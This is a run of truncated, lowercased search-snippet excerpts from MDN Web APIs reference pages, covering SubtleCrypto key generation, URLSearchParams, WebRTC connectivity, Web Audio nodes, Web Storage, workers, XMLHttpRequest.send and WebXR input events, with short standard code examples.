new uint8array([1, 0, 1]), hash: "sha-256" }, true, ["encrypt", "decrypt"] ); elliptic curve key pair generation this code generates an ecdsa signing key pair. see the complete code on github. let keypair = window.crypto.subtle.generatekey( { name: "ecdsa", namedcurve: "p-384" }, true, ["sign", "verify"] ); hmac key generation this code generates an hmac signing key. se...
SubtleCrypto - Web APIs
ers. subtlecrypto.verify() returns a promise that fulfills with a boolean value indicating if the signature given as a parameter matches the text, algorithm, and key that are also given as parameters. subtlecrypto.digest() returns a promise that fulfills with a digest generated from the algorithm and text given as parameters. subtlecrypto.generatekey() returns a promise that fulfills with a
newly-generated cryptokey, for symmetrical algorithms, or a cryptokeypair, containing two
newly generated keys, for asymmetrical algorithms. these will match the algorithm, usages, and extractability given as parameters. subtlecrypto.derivekey() returns a promise that fulfills with a
newly generated cryptokey derived from the master key and specific algorithm given as parameters. subtlecrypto.deri...
... subtlecrypto.importkey() returns a promise that fulfills with a cryptokey corresponding to the format, the algorithm, raw key data, usages, and extractability given as parameters. ...
...anagement functions except for digest(), all the cryptography functions in the api use cryptographic keys. in the subtlecrypto api a cryptographic key is represented using a cryptokey object. to perform operations like signing and encrypting, you pass a cryptokey object into the sign() or encrypt() function. generating and deriving keys the generatekey() and derivekey() functions both create a
new cryptokey object. the difference is that generatekey() will generate a
new distinct key value each time you call it, while derivekey() derives a key from some initial keying material. if you provide the same keying material to two separate calls to derivekey(), you will get two cryptokey objects that have the same underlying value. this is useful if, for example, you want to derive an encryption...
Text.splitText() - Web APIs
the text.splittext() method breaks the text node into two nodes at the specified offset, keeping both nodes in the tree as siblings. after the split, the current node contains all the content up to the specified offset point, and a
newly created node of the same type contains the remaining text. the
newly created node is returned to the caller. if the original node had a parent, the
new node is inserted as the next sibling of the original node. if the offset is equal to the length of the original node, the
newly created node has no data. ...
...a
newly created node of the same type contains the remaining text. the
newly created node is returned to the caller. if the original node had a parent, the
new node is inserted as the next sibling of the original node. if the offset is equal to the length of the original node, the
newly created node has no data. separated text nodes can be concatenated using the node.normalize() method. syntax
newnode = textnode.splittext(offset) parameters offset the index immediately before which to break the text node. return value returns a
newly created text node that contains the text after the specified offset point. exceptions thrown a domexception with a value of index_size_err is thrown if the specified offset is negative or is greater than the number of 16-bit units in the node's text...
... in this example, the text of a <p> is split into two text nodes, and a <u> is inserted between them. html <p>foobar</p> javascript const p = document.queryselector('p'); // get contents of <p> as a text node const foobar = p.firstchild; // split 'foobar' into two text nodes, 'foo' and 'bar', // and save 'bar' as a const const bar = foobar.splittext(3); // create a <u> element containing '
new content ' const u = document.createelement('u'); u.appendchild(document.createtextnode('
new content ')); // add <u> before 'bar' p.insertbefore(u, bar); // the result is: <p>foo<u>
new content </u>bar</p> result specifications specification status comment domthe definition of 'text.splittext' in that specification. living standard no change from document ...
TextTrackList.onaddtrack - Web APIs
the texttracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a
new text track has been added to the media element whose text tracks the texttracklist represents. the event is passed into the event handler in the form of a trackevent object, whose track property identifies the
newly-added track. note: you can also add a handler for the addtrack event using addeventlistener(). syntax texttracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been added to the media. ...
...this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each video track in the media resource. ...
...ent whose video tracks are represented by the texttracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each video track in the media resource. example this snippet establishes a handler for the addtrack event that calls a function, addtotracklist(), passing in the videotrack object representing the
newly-added track. in this scenario, that function's role is to add the
new track to a list of video tracks available to choose from. document.queryselector("video").texttracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'texttracklist: onaddtrack' in that specificati...
URLSearchParams.set() - Web APIs
there were several matching values, this method deletes the others. if the search parameter doesn't exist, this method creates it. note: this feature is available in web workers. syntax urlsearchparams.set(name, value) parameters name the name of the parameter to set. value the value of the parameter to set. return value void. examples let's start with a simple example: let url =
new url('https://example.com?foo=1&bar=2'); let params =
new urlsearchparams(url.search.slice(1)); //add a third parameter. params.set('baz', 3); params.tostring(); // "foo=1&bar=2&baz=3" below is a real-life example demonstrating how to create a url and set some search parameters. you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript int...
...rl and set some search parameters. you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox. line #41: comment out this line to stop dumping the search parameters to the console (debug). line #43: dumps the generated object and it's string representation to the console (info). ...
...cript interpreter in firefox. line #41: comment out this line to stop dumping the search parameters to the console (debug). line #43: dumps the generated object and it's string representation to the console (info). line #44: tries to automatically open a
new window/tab with the generated url (when uncommented). ...
URLSearchParams.toString() - Web APIs
r use in a url. note: this method returns the query string without the question mark. this is different from window.location.search, which includes it. note: this feature is available in web workers. syntax urlsearchparams.tostring() parameters none. return value a domstring, without the question mark. ...
...ing without the question mark. this is different from window.location.search, which includes it. note: this feature is available in web workers. syntax urlsearchparams.tostring() parameters none. return value a domstring, without the question mark. ...
... a domstring, without the question mark. (returns an empty string if no search parameters have been set.) examples let url =
new url('https://example.com?foo=1&bar=2'); let params =
new urlsearchparams(url.search.slice(1)); //add a second foo parameter. params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let url =
new url('https://example.com?foo=1&bar=2'); let params = url.searchparams; // or even simpler let params =
new urlsearchparams('foo=1&bar=2'); specifications specification status comment urlthe definition of 'tostring() (see "stringifier")' in that specification. living standard initial definition. ...
VideoTrackList.onaddtrack - Web APIs
the videotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a
new video track has been added to the media element whose video tracks the videotracklist represents. the event is passed into the event handler in the form of a trackevent object, whose track property identifies the
newly-added track. note: you can also add a handler for the addtrack event using addeventlistener(). syntax videotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been added to the media. ...
...this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each video track in the media resource. ...
...nt whose video tracks are represented by the videotracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each video track in the media resource. example this snippet establishes a handler for the addtrack event that calls a function, addtotracklist(), passing in the videotrack object representing the
newly-added track. in this scenario, that function's role is to add the
new track to a list of video tracks available to choose from. document.queryselector("video").videotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'videotracklist: onaddtrack' in that specifica...
WaveShaperNode.curve - Web APIs
is applied to any signal value of 0, the first one to signal values of -1, and the last to signal values of 1; values lower than -1 or greater than 1 are treated like -1 or 1 respectively. if necessary, intermediate values of the distortion curve are linearly interpolated. note: the array can be a null value: in that case, no distortion is applied to the input signal. syntax var audioctx =
new audiocontext(); var distortion = audioctx.createwaveshaper(); distortion.curve = mycurvedataarray; // mycurvedataarray is a float32array value a float32array. example the following example shows basic usage of an audiocontext to create a wave shaper node. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). note: sigmoid functions are co...
... audiocontext to create a wave shaper node. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). note: sigmoid functions are commonly used for distortion curves because of their natural properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. ...
...al properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ... function makedistortioncurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve =
new float32array(n_samples), deg = math.pi / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( math.pi + k * math.abs(x) ); } return curve; }; ... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe d...
WaveShaperNode - Web APIs
distortion effects, it is often used to add a warm feeling to the signal. a waveshapernode always has exactly one input and one output. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor waveshapernode() creates a
new instance of an waveshapernode object. properties inherits properties from its parent, audionode. waveshapernode.curve is a float32array of numbers describing the distortion to apply. waveshapernode.oversample is an enumerated value indicating if oversampling must be used. oversampling is a technique for creating more samples (up-sampling) before applying the distortion effect to the audi...
... audiocontext to create a wave shaper node. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). note: sigmoid functions are commonly used for distortion curves because of their natural properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. ...
...al properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ... function makedistortioncurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve =
new float32array(n_samples), deg = math.pi / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( math.pi + k * math.abs(x) ); } return curve; }; ... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe d...
WebGLRenderingContext.makeXRCompatible() - Web APIs
onal exceptions; instead, the promise rejects with one of the following errors as the value passed into the rejection handler: aborterror switching the context over to the webxr-compatible context failed. invalidstateerror the webgl context has been lost or there is no available webxr device. ...
...ad, the promise rejects with one of the following errors as the value passed into the rejection handler: aborterror switching the context over to the webxr-compatible context failed. invalidstateerror the webgl context has been lost or there is no available webxr device. usage notes because makexrcompatible() may involve replacing the underlying webgl context with a
new one that uses the
new rendering hardware, the existing contents of the context may be lost and, therefore, would need to be re-rendered. this is why the webglcontextlost and webglcontextrestored events are used: the first gives you the opportunity to discard anything you won't need anymore, while the second gives you the opportunity to load resources and prepare to render the scene in its
new context. while this meth...
...e the handlestartbuttonclick() function as their event handler. the function determines that the button clicked was the one requesting immersive-vr mode by checking to see if the button has the use-webxr class on it. if the button clicked by the user has that class (and we've confirmed that webxr is available by ensuring that the navigator.xr property exists), we use requestsession() to request a
new webxr session and set the usingxr flag to true. if the other button was clicked, we ensure that xrsession is null and clear usingxr to false. then the startgame() function is called to trigger the beginning of gameplay. handlers are provided for both webglcontextlost and webglcontextrestored; in the first case, we make sure we're aware that the state can be recovered, while in the latter we ac...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
00 00 7f ff 3f ff creating the array buffer first, we dynamically create the array buffer from json data using a dataview. note the use of true because webgl expects our data to be in little-endian. ...
...we dynamically create the array buffer from json data using a dataview. note the use of true because webgl expects our data to be in little-endian. ...
... + 18, vertices[i].texcoord[1] * 0xffff, true); } for higher performance, we could also do the previous json to arraybuffer conversion on the server-side, e.g. with node.js. then we could load the binary file and interpret it as an array buffer: const response = await fetch('assets/geometry.bin'); const buffer = await response.arraybuffer(); consume array buffer with webgl first, we create a
new vertex buffer object (vbo) and supply it with our array buffer: //bind array buffer to a vertex buffer object const vbo = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, vbo); gl.bufferdata(gl.array_buffer, buffer, gl.static_draw); then, we specify the memory layout of the array buffer, either by setting the index ourselves: //describe the layout of the buffer: //1. position, not normalized...
Adding 2D content to a WebGL context - Web APIs
the shader's source code is sent to the shader by calling gl.shadersource(). once the shader has the source code, it's compiled using gl.compileshader(). to check to be sure the shader successfully compiled, the shader parameter gl.compile_status is checked. to get its value, we call gl.getshaderparameter(), specifying the shader and the name of ...
...r, positionbuffer); // now create an array of positions for the square. const positions = [ -1.0, 1.0, 1.0, 1.0, -1.0, -1.0, 1.0, -1.0, ]; // now pass the list of positions into webgl to build the // shape. we do this by creating a float32array from the // javascript array, then use it to fill the current buffer. gl.bufferdata(gl.array_buffer,
new float32array(positions), gl.static_draw); return { position: positionbuffer, }; } this routine is pretty simplistic given the basic nature of the scene in this example. it starts by calling the gl object's createbuffer() method to obtain a buffer into which we'll store the vertex positions. this is then bound to the context by calling the bindbuffer() method. once that...
... then we establish the position of the square plane by loading the identity position and translating away from the camera by 6 units. after that, we bind the square's vertex buffer to the attribute the shader is using for avertexposition and we tell webgl how to pull the data out of it. finally we draw the object by calling the drawarrays() method. view the complete code | open this demo on a
new page matrix utility operations matrix operations might seem complicated but they are actually pretty simple if you take them one step at a time. generally people use a matrix library rather than writing their own. in our case we're using the popular glmatrix library. see also matrices on webglfundamentals matrices on wolfram mathworld matrix on wikipedia « previousnext » ...
WebRTC connectivity - Web APIs
evices are separated by network address translation (nat). each peer, then, keeps two descriptions on hand: the local description, describing itself, and the remote description, describing the other end of the call. the offer/answer process is performed both when a call is first established, but also any time the call's format or other configuration needs to change. ...
...o flow as configured. pending and current descriptions taking one step deeper into the process, we find that localdescription and remotedescription, the properties which return these two descriptions, aren't as simple as they look. because during renegotiation, an offer might be rejected because it proposes an incompatible format, it's necessary that each endpoint have the ability to propose a
new format but not actually switch to it until it's accepted by the other peer. for that reason, webrtc uses pending and current descriptions. the current description (which is returned by the rtcpeerconnection.currentlocaldescription and rtcpeerconnection.currentremotedescription properties) represents the description currently in actual use by the connection. this is the most recent connection tha...
...ntrolled agent by using stun and an updated offer, if necessary. the controlled agent just waits to be told which candidate pair to use. it's important to keep in mind that a single ice session may result in the controlling agent choosing more than one candidate pair. each time it does so and shares that information with the controlled agent, the two peers reconfigure their connection to use the
new configuration described by the
new candidate pair. once the ice session is complete, the configuration that's currently in effect is the final one, unless an ice reset occurs. at the end of each generation of candidates, an end-of-candidates notification is sent in the form of an rtcicecandidate whose candidate property is an empty string. this candidate should still be added to the connection ...
Lifetime of a WebRTC session - Web APIs
ther pages as the webrtc guide material is built out. pardon our dust! establishing the connection the internet is big. really big. it’s so big that years ago, smart people saw how big it was, how fast it was growing, and the limitations of the 32-bit ip addressing system, and realized that something had to be done before we ran out of addresses to use, so they started working on designing a
new 64-bit addressing system. but they realized that it would take longer to complete the transition than 32-bit addresses would last, so other smart people came up with a way to let multiple computers share the same 32-bit ip address. network address translation (nat) is a standard which supports this address sharing by handling routing of data inbound and outbound to and from devices on a lan, all ...
...sers might transition from a cellular to a wifi network, or the network might become congested, for example. when this happens, the ice agent may choose to perform ice restart. this is a process by which the network connection is renegotiated, exactly the same way the initial ice negotiation is performed, with one exception: media continues to flow across the original network connection until the
new one is up and running. then media shifts to the
new network connection and the old one is closed. note: different browsers support ice restart under different sets of conditions. not all browsers will perform ice restart due to network congestion, for example. if you need to change the configuration of the connection in some way (such as changing to a different set of ice servers), you can do...
...re restarting ice by calling rtcpeerconnection.setconfiguration() with an updated rtcconfiguration dictionary before restarting ice. to explicitly trigger ice restart, simply start the renegotiation process by calling rtcpeerconnection.createoffer(), specifying the icerestart option with a value of true. then handle the connection process from then on just like you normally would. this generates
new values for the ice username fragment (ufrag) and password, which will be used by the renegotiation process and the resulting connection. the answerer side of the connection will automatically begin ice restart when
new values are detected for the ice ufrag and ice password. transmission reception ...
Using WebRTC data channels - Web APIs
ated in one of two ways: let webrtc create the transport and announce it to the remote peer for you (by causing it to receive a datachannel event). this is the easy way, and works for a wide variety of use cases, but may not be flexible enough for your needs. write your own code to negotiate the data transport and write your own code to signal to the other peer that it needs to connect to the
new channel. let's look at each of these cases, starting with the first, which is the most common. automatic negotiation often, you can allow the peer connection to handle negotiating the rtcdatachannel connection for you. to do this, simply call createdatachannel() without specifying a value for the negotiated property, or specifying the property with a value of false. this will automatically t...
...ely by createdatachannel(); you can tell when the connection has been made successfully by watching for the open event to be sent to the rtcdatachannel. let datachannel = pc.createdatachannel("myapp channel"); datachannel.addeventlistener("open", (event) => { begintransmission(datachannel); }); manual negotiation to manually negotiate the data channel connection, you need to first create a
new rtcdatachannel object using the createdatachannel() method on the rtcpeerconnection, specifying in the options a negotiated property set to true. this signals to the peer connection to not attempt to negotiate the channel on your behalf. then negotiate the connection out-of-band, using a web server or other means. this process should signal to the remote peer that it should create its own rtcdat...
... 7774). with eor support in place, rtcdatachannel payloads can be much larger (officially up to 256kib, but firefox's implementation caps them at a whopping 1gib). even at 256kib, that's large enough to cause noticeable delays in handling urgent traffic. if you go even larger, the delays can become untenable unless you are certain of your operational conditions. in order to resolve this issue, a
new system of stream schedulers (usually referred to as the "sctp ndata specification") has been designed to make it possible to interleave messages sent on different streams, including streams used to implement webrtc data channels. this proposal is still in ietf draft form, but once implemented, it will make it possible to send messages with essentially no size limitations, since the sctp layer wil...
Basic concepts behind Web Audio API - Web APIs
mes are very useful, because they are independent of the number of channels, and represent time, in a useful way for doing precise audio manipulation. note: to get a time in seconds from a frame count, simply divide the number of frames by the sample rate. to get a number of frames from a number of samples, simply divide by the channel count. here's a couple of simple examples: var context =
new audiocontext(); var buffer = context.createbuffer(2, 22050, 44100); note: in digital audio, 44,100 hz (alternately represented as 44.1 khz) is a common sampling frequency. why 44.1khz? firstly, because the hearing range of human ears is roughly 20 hz to 20,000 hz. via the nyquist–shannon sampling theorem, the sampling frequency must be greater than twice the maximum frequency one wishes t...
... more economical it is to make an anti-aliasing filter. the 44.1 khz sampling frequency allows for a 2.05 khz transition band. if you use this call above, you will get a stereo buffer with two channels, that when played back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100hz = 0.5 seconds. var context =
new audiocontext(); var buffer = context.createbuffer(1, 22050, 22050); if you use this call, you will get a mono buffer with just one channel), that when played back on an audiocontext running at 44100hz, will be automatically resampled to 44100hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames/44100hz = 1 second. note: audio resampling is very similar to image resizing.
...und channels are passed unchanged. the subwoofer (lfe) channel is lost. output.l = input.l + 0.7071 * input.c output.r = input.r + 0.7071 * input.c output.sl = input.sl output.sr = input.sr other, non-standard layouts non-standard channel layouts are handled as if channelinterpretation is set to discrete. the specification explicitly allows the future definition of
new speaker layouts. this fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future. discrete any (x) any (y) where x<y up-mix discrete channels. fill each output channel with its input counterpart, that is the input channel with the same index. channels with no corresponding input channels are left silent. ...
Using the Web Audio API - Web APIs
use of this modular design, you can create complex audio functions with dynamic effects. audio context to be able to do anything with the web audio api, we need to create an instance of the audio context. this then gives us access to all the features and functionality of the api. // for legacy browsers const audiocontext = window.audiocontext || window.webkitaudiocontext; const audiocontext =
new audiocontext(); so what's going on when we do this? a baseaudiocontext is created for us automatically and extended to an online audio context. we'll want this because we're looking to play live sound. note: if you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an offlineaudiocontext. loading sound now, the audio co...
...nge the sound that we have. this is where the web audio api really starts to come in handy. first of all, let's change the volume. this can be done using a gainnode, which represents how big our sound wave is. there are two ways you can create nodes with the web audio api. you can use the factory method on the context itself (e.g. audiocontext.creategain()) or via a constructor of the node (e.g.
new gainnode()). we'll use the factory method in our code: const gainnode = audiocontext.creategain(); now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination: track.connect(gainnode).connect(audiocontext.destination); this will make our audio graph look like this: the default value for gain is 1; this keeps...
...sed in games and 3d apps to create birds flying overhead, or sound coming from behind the user for instance. to visualise it, we will be making our audio graph look like this: let's use the constructor method of creating a node this time. when we do it this way, we have to pass in the context and any options that that particular node may take: const panneroptions = { pan: 0 }; const panner =
new stereopannernode(audiocontext, panneroptions); note: the constructor method of creating nodes is not supported by all browsers at this time. the older factory methods are supported more widely. here our values range from -1 (far left) and 1 (far right). again let's use a range type input to vary this parameter: <input type="range" id="panner" min="-1" max="1" value="0" step="0.01"> we use...
Web audio spatialization basics - Web APIs
r. you can define where they are in space and in which direction they are facing. they remain static. the pannernode can then calculate its sound position relative to the position of the listener. let's create our context and listener and set the listener's position to emulate a person looking into our room: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx =
new audiocontext(); const listener = audioctx.listener; const posx = window.innerwidth/2; const posy = window.innerheight/2; const posz = 300; listener.positionx.value = posx; listener.positiony.value = posy; listener.positionz.value = posz-5; we could move the listener left or right using positionx, up or down using positiony, or in or out of the room using positionz. here we are setting the lis...
...st positiony = posy; const positionz = posz; const orientationx = 0.0; const orientationy = 0.0; const orientationz = -1.0; note the minus value on our z orientation — this sets the boombox to face us. a positive value would set the sound source facing away from us. ...
... axis values (e.g. if you rotate an object around the x-axis, you update the y and z coordinates for that object), but we also need to do some more maths for this. the rotation is a circle and we need math.sin and math.cos to help us draw that circle. ...
Using the Web Storage API - Web APIs
te('src', currentimage); } here, the first three lines grab the values from local storage. next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. finally, we update the styles/decorative image on the page, so your customization options come up again on reload. setting values in storage storage.setitem() is used both to create
new data items, and (if the data item already exists) update existing values. this takes two arguments — the key of the data item to create/modify, and the value to store in it. function populatestorage() { localstorage.setitem('bgcolor', document.getelementbyid('bgcolor').value); localstorage.setitem('font', document.getelementbyid('font').value); localstorage.setitem('image', document.gete...
... on the domain using the storage to sync any changes that are made. pages on other domains can't access the same storage objects. on the events page (see events.js) the only javascript is as follows: window.addeventlistener('storage', function(e) { document.queryselector('.my-key').textcontent = e.key; document.queryselector('.my-old').textcontent = e.oldvalue; document.queryselector('.my-
new').textcontent = e.
newvalue; document.queryselector('.my-url').textcontent = e.url; document.queryselector('.my-storage').textcontent = json.stringify(e.storagearea); }); here we add an event listener to the window object that fires when the storage object associated with the current origin is changed. as you can see above, the event object associated with this event has a number of propertie...
...tor('.my-storage').textcontent = json.stringify(e.storagearea); }); here we add an event listener to the window object that fires when the storage object associated with the current origin is changed. as you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the
new value after that change, the url of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content). deleting data records web storage also provides a couple of simple methods to remove data. we don't use these in our demo, but they are very simple to add to your project: storage.removeitem() takes a single argument — the key of the...
Window - Web APIs
ates whether the current window is closed or not. window.console read only returns a reference to the console object which provides access to the browser's debugging console. window.controllers read only returns the xul controller objects for the current chrome window. window.customelements read only returns a reference to the customelementregistry object, which can be used to register
new custom elements and get information about previously registered custom elements. window.crypto read only returns the browser crypto object. window.devicepixelratio read only returns the ratio between physical pixels and device independent pixels in the current display. window.document read only returns a reference to the document that the window contains. window.dommatrix read only ...
...resenting the selected item(s). window.matchmedia() returns a mediaquerylist object representing the specified media query string. window.maximize() fixme: needscontents window.minimize() (top-level xul windows only) minimizes the window. window.moveby() moves the current window by a specified amount. window.moveto() moves the window to the specified coordinates. window.open() opens a
new window. window.postmessage() provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first. window.print() opens the print dialog to print the current document. window.prompt() returns the text entered by the user in a prompt dialog. window.requestanimationframe() tells the browser that an animation is in progress,...
.... window.captureevents() registers the window to capture all events of the specified type. window.forward() moves the window one document forward in the history. this method is deprecated; you should instead use window.history.forward(). window.getattention() flashes the application icon. window.home() returns the browser to the home page. window.opendialog() opens a
new dialog window. window.releaseevents() releases the window from trapping events of a specific type. window.showmodaldialog() displays a modal dialog. event handlers these are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest. this interface inherits event handlers from the event...
WindowOrWorkerGlobalScope.btoa() - Web APIs
); // 2713: occupies > 1 byte console.log(btoa(ok)); // yq== console.log(btoa(notok)); // error if you need to encode unicode text as ascii using btoa(), one option is to convert the string such that each 16-bit unit occupies only one byte. ...
...), one option is to convert the string such that each 16-bit unit occupies only one byte. ...
...nt8array(codeunits.buffer)); } // a string that contains characters occupying > 1 byte const mystring = "☸☹☺☻☼☾☿"; const converted = tobinary(mystring); const encoded = btoa(converted); console.log(encoded); // ocy5jjomoyy8jj4mpyy= if you do this, of course you'll have to reverse the conversion on the decoded string: function frombinary(binary) { const bytes =
new uint8array(binary.length); for (let i = 0; i < bytes.length; i++) { bytes[i] = binary.charcodeat(i); } return string.fromcharcode(...
new uint16array(bytes.buffer)); } const decoded = atob(encoded); const original = frombinary(decoded); console.log(original); // ☸☹☺☻☼☾☿ polyfill you can use a polifill from https://github.com/maxart2501/base64-js/blob/mast...
Worker: message event - Web APIs
the message event is fired on a worker object when the worker's parent receives a message from its worker (i.e. when the worker sends a message using dedicatedworkerglobalscope.postmessage()). ...
... when the worker's parent receives a message from its worker (i.e. when the worker sends a message using dedicatedworkerglobalscope.postmessage()). ...
...handler property onmessage examples this code creates a
new worker and listens to messages from it using addeventlistener(): const worker =
new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker =
new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message from worker: ${event.data}`) }; the worker posts messages using self.postmessage(): // static/scripts/worker.js self.postmessage('i\'m alive!'); specifications specification status html living standard living standard ...
Worker.prototype.postMessage() - Web APIs
imagebitmap objects that can be transferred. null is not an acceptable value for transfer. returns void. example the following code snippet shows the creation of a worker object using the worker() constructor. when either of two form inputs (first and second) have their values changed, change events invoke postmessage() to send the value of both inputs to the current worker. var myworker =
new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, see ourbasic dedicated worker example (run dedicated worker). note: postmessage() can only send a...
...orker example (run dedicated worker). note: postmessage() can only send a single object at once. as seen above, if you want to pass multiple values you can send an array. transfer example this example shows a firefox add-on that transfers an arraybuffer from the main thread to the chromeworker, and then the chromeworker transfers it back to the main thread. ...
... console.log('incoming message from worker, msg:', msg); switch (msg.data.atopic) { case 'do_sendmainarrbuff': sendmainarrbuff(msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } myworker.addeventlistener('message', handlemessagefromworker); // ok lets create the buffer and send it var arrbuf =
new arraybuffer(8); console.info('arrbuf.bytelength pre transfer:', arrbuf.bytelength); myworker.postmessage( { atopic: 'do_sendworkerarrbuff', abuf: arrbuf // the array buffer that we passed to the transferrable section 3 lines below }, [ arrbuf // the array buffer we created 9 lines above ] ); console.info('arrbuf.bytelength post transfer:', arrbuf.byteleng...
XMLHttpRequest.send() - Web APIs
ploads) is by using an arraybufferview or blob in conjunction with the send() method. return value undefined. exceptions exception description invalidstateerror send() has already been invoked for the request, and/or the request is complete. networkerror the resource type to be fetched is a blob, and the method is not get. ...
...teerror send() has already been invoked for the request, and/or the request is complete. networkerror the resource type to be fetched is a blob, and the method is not get. example: get var xhr =
new xmlhttprequest(); xhr.open('get', '/server', true); xhr.onload = function () { // request finished. do processing here. }; xhr.send(null); // xhr.send('string'); // xhr.send(
new blob()); // xhr.send(
new int8array()); // xhr.send(document); example: post var xhr =
new xmlhttprequest(); xhr.open("post", '/server', true); //send the proper header information along with the request xhr.setrequestheader("content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { // call a function when the state changes. if (this.readystate === xmlhttp...
...rue); //send the proper header information along with the request xhr.setrequestheader("content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { // call a function when the state changes. if (this.readystate === xmlhttprequest.done && this.status === 200) { // request finished. do processing here. } } xhr.send("foo=bar&lorem=ipsum"); // xhr.send(
new int8array()); // xhr.send(document); specifications specification status comment xmlhttprequestthe definition of 'send()' in that specification. living standard whatwg living standard ...
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property frame specifies an xrframe providing information about the timestamp at which the
new input source event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the event took place. of course, as a general rule, you won't need to create xrinputsourceeventinit objects yourself. these events are generated by and sent to you by the webxr infrastructure. ...
...can be used to map the coordinates of any xrreferencespace to the space in which the event took place. of course, as a general rule, you won't need to create xrinputsourceeventinit objects yourself. these events are generated by and sent to you by the webxr infrastructure. syntax xrinputsourceeventinit.frame = xrframe; let xrinputsourceeventinit = { frame: xrframe }; let xrinputsourceevent =
new xrinputsourceevent(type, { frame: xrframe }); value an xrframe indicating the time at which the event took place, and providing a getpose() method which can be used to map reference spaces to the world reference space. usage notes the event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback...
...e as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback). instead, the xrframe specified by the frame property is simply a method to provide access to the getpose() method, which you can use to get the relative positions of the objects in the scene at the time the event occurred. examples this example creates a
new select event and sends it to the xrsession. let event =
new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.frame' in that specification. working draft initial definition. ...
XRInputSourceEventInit.inputSource - Web APIs
the xrinputsourceeventinit dictionary's inputsource property is used when calling the xrinputsourceevent() constructor to specify the xrinputsource from which the
newly-created event is being sent. of course, as a general rule, you won't need to create xrinputsourceeventinit objects yourself. these events are generated by and sent to you by the webxr infrastructure. ...
...pecify the xrinputsource from which the
newly-created event is being sent. of course, as a general rule, you won't need to create xrinputsourceeventinit objects yourself. these events are generated by and sent to you by the webxr infrastructure. syntax let xrinputsourceeventinit.inputsource = xrinputsource; let xrinputsourceeventinit = { inputsource: xrinputsource }; let xrinputsourceevent =
new xrinputsourceevent(type, { inputsource: xrinputsource }); value an xrinputsource object indicating the source of the
newly-created xrinputsourceevent to be created. the
new object's inputsource will be set to this value. examples this example creates a
new select event and sends it to the xrsession. ...
...tsourceeventinit = { inputsource: xrinputsource }; let xrinputsourceevent =
new xrinputsourceevent(type, { inputsource: xrinputsource }); value an xrinputsource object indicating the source of the
newly-created xrinputsourceevent to be created. the
new object's inputsource will be set to this value. examples this example creates a
new select event and sends it to the xrsession. let event =
